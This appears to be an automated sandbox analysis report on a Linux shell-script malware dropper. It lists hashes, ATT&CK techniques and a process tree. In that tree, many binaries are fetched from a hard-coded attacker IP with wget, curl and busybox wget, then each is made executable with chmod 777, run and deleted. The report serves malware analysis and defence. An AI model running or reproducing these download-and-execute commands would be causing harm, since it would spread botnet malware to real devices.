886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b

Analysis

max time kernel
58s
max time network
60s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
09/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
Size 10KB
Sample241109-dmrlwayner
SHA256 886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b
MD5 9429ed343b923d08cb76b46b89be9663
SHA1 f8c2b89c19e0acd0f02dfebb1c5df980cf4c4a9f
SHA512 4de13fb437fb8e67bec8d618df3218f9ac65902fee20005a14cce51a85a438f9dcc5613fb31e5010d3769ea703a61a46412c1e7830c48aa1b5ad44594592430d
SSDEEP 192:qfjO1f3bOSOQQQQQMvjppT6dX6dj6dXdydidoD770ZWZZQQQQQMvjpBP6dX6dj63:jfpjjMvjptyXyjytq6oDIW4jjMvjpNyj
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod
776	chmod
845	chmod
908	chmod
938	chmod
956	chmod
968	chmod
1010	chmod
817	chmod
839	chmod
863	chmod
887	chmod
944	chmod
998	chmod
962	chmod
986	chmod
932	chmod
974	chmod
980	chmod
788	chmod
893	chmod
992	chmod
902	chmod
914	chmod
920	chmod
926	chmod
950	chmod
1004	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
773	wget
972	curl
991	busybox
774	curl
971	wget
993	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
990	curl
777	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
918	curl
973	busybox
989	wget
921	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
922	rm
975	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
976	rm
775	busybox
778	rm
917	wget
919	busybox
994	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl

/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
1⤵
PID:738
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:768
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:772
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:773
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:775
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:777
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:778
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:783
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:793
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:811
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:838
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:844
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:847
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:857
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:886
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:889
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:892
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:898
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:907
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:913
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:921
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:925
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:931
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:937
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:943
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:949
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:955
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:961
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:967
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:973
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:975
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:979
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:982
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:983
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
